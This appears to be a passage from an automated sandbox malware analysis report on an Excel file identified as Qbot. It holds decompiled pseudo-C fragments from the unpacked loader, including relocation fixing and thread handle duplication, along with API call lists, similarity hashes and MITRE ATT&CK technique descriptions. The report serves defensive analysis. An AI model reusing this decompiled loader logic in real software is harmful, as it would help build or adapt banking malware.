							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

APIs

GetModuleHandleA.KERNEL32(?), ref: 00092C84
LoadLibraryA.KERNEL32(?), ref: 00092C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 00092CF9
GetProcAddress.KERNEL32(00000000,?), ref: 00092D18

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 8b0f860062b7566b354e1c94a9238a23d10e63c9254979b45f4c1e3852145292
Instruction ID: 646b41fc526916c853fab26bda9d5e10092a64f59f2f819cd785ba041931e28c
Opcode Fuzzy Hash: 8b0f860062b7566b354e1c94a9238a23d10e63c9254979b45f4c1e3852145292
Instruction Fuzzy Hash: D5A17AB5A00209EFCF54CF98D885AADBBF0FF48314F148559E825AB351D734A981DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00081C51, Relevance: 6.1, APIs: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00081C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x9e6dc; // 0x0
				_t13 = E0008A501(_t41, 0);
				while(_t13 < 0) {
					E000897ED( &_v28);
					_t43 =  *0x9e6e0; // 0x0
					_t15 =  *0x9e6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x9e684; // 0xa7f8f0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x9e6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x9e684; // 0xa7f8f0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x9e6dc; // 0x0
						__eflags = 0;
						_t13 = E0008A501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x9e6e8; // 0x0
				_v28 = _t20;
				_t22 = E0008A6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x9e6d0, 0, 0, 2);
					E000897ED(0x9e6e0);
					_t64 = E00081A01( &_v28, E00081226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x9e760);
						_t51 = 0x27;
						E00089ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t29 + 0x30))( *0x9e6d0);
				_t48 =  *0x9e6dc; // 0x0
				 *0x9e6d0 = 0;
				E0008A51D(_t48);
				E000885FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1410adb9107096b85f00411ac0bb3fe07060d27ad0d713d38bce4e2b57bfaa
Instruction ID: 32fa2d0315736cd9dd457b92398e39eaf5c183d7f1ce8164e2c4fef327052670
Opcode Fuzzy Hash: 1e1410adb9107096b85f00411ac0bb3fe07060d27ad0d713d38bce4e2b57bfaa
Instruction Fuzzy Hash: 0531C132604244AFF354FF68EC859AA77A9FF94394B040A2BF581C72E2DE349C45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00081B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00081B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x9e6f4; // 0x0
				_t12 = E0008A501(_t38, 0);
				while(_t12 < 0) {
					E000897ED( &_v28);
					_t40 =  *0x9e700; // 0x0
					_t14 =  *0x9e704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x9e684; // 0xa7f8f0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x9e6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x9e684; // 0xa7f8f0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x9e6f4; // 0x0
								__eflags = 0;
								_t12 = E0008A501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E000897ED(0x9e700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x9e6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x9e6e8; // 0x0
				_v28 = _t24;
				_t61 = E00081A01( &_v28, E00081310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x9e760);
					_t48 = 0x27;
					E00089ED1(_t48);
				}
				if(_v24 != 0) {
					E00086871( &_v24);
				}
				_t26 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t26 + 0x30))( *0x9e6ec);
				_t28 =  *0x9e758; // 0x0
				 *0x9e6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x9e6f4; // 0x0
				 *0x9e758 =  !=  ? 1 : _t28;
				E0008A51D(_t46);
				_t15 = _t61;
				goto L12;
			}

APIs

GetCurrentProcess.KERNEL32(0009E6EC,00000000,00000000,00000002), ref: 00081BB5
GetCurrentThread.KERNEL32(00000000), ref: 00081BB8
GetCurrentProcess.KERNEL32(00000000), ref: 00081BBF
DuplicateHandle.KERNEL32 ref: 00081BC2

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: 726363e4c9d999a173526010c31fe296a2755e729a5acefae9d7aa738cb80998
Instruction ID: f96180bd9b8aa37851658eef74f7edd86bca5450b5cdcd4767c72984123f9977
Opcode Fuzzy Hash: 726363e4c9d999a173526010c31fe296a2755e729a5acefae9d7aa738cb80998
Instruction Fuzzy Hash: 8731A135608680DFF704FFA4EC859AA77A8FF64391B04086EF641C72A2DA389C05CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0008B7EA, Relevance: 6.1, APIs: 4, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0008B7EA(WCHAR* __ecx, void* __edx) {
				signed int _v8;
				long _v12;
				char _v16;
				short _v528;
				char _v1040;
				char _v1552;
				intOrPtr _t23;
				char _t27;
				intOrPtr _t28;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				_t23 =  *0x9e684; // 0xa7f8f0
				 *((intOrPtr*)(_t23 + 0xb0))( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
				_t27 = E000895C2(_t44, 0xa88);
				_v16 = _t27;
				_t28 =  *0x9e684; // 0xa7f8f0
				_t29 =  *((intOrPtr*)(_t28 + 0x68))(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E000885B6( &_v16);
				_t33 = E0008C3D4(_t43);
				E00089621( &(_t43[E0008C3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E0008C3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E0008D442(_t43, E0008C3D4(_t43) + _t40, 0);
			}

0x0008b7ea
0x0008b7f3
0x0008b7ff
0x0008b805
0x0008b807
0x0008b80f
0x0008b81d
0x0008b822
0x0008b831
0x0008b83c
0x0008b849
0x0008b85e
0x0008b863
0x0008b868
0x0008b86a
0x0008b871
0x0008b881
0x0008b892
0x0008b89c
0x0008b8a4
0x0008b8ab
0x0008b8ae
0x0008b8cb

APIs

memset.MSVCRT ref: 0008B807
lstrcpynW.KERNEL32(?,?,00000100), ref: 0008B831

Part of subcall function 00089621: _vsnwprintf.MSVCRT ref: 0008963E

lstrcatW.KERNEL32 ref: 0008B89C
CharUpperBuffW.USER32(?,00000000), ref: 0008B8AE

Memory Dump Source

Source File: 00000010.00000002.587491598.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: BuffCharUpper_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 1024327890-0
Opcode ID: 9e9cc355a111bd2f8d3623ebb3aab38fc93188089e2077968ceb5f2c82d5f541
Instruction ID: f8b7a3c1acc05bd70a14cdd091a009b2ed4efedbd8d29cf780882ed056f74b26
Opcode Fuzzy Hash: 9e9cc355a111bd2f8d3623ebb3aab38fc93188089e2077968ceb5f2c82d5f541
Instruction Fuzzy Hash: F92132B2A40218BFE710ABA4DC4AFEE77BCEB84310F108165F606D6182EE745E448B60

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 173536952-10042021.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Qbot

Yara Overview

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "173536952-10042021.xls"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: UserForm2, Stream Size: -1

General

VBA Code

VBA File Name: Module1, Stream Size: 1533

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre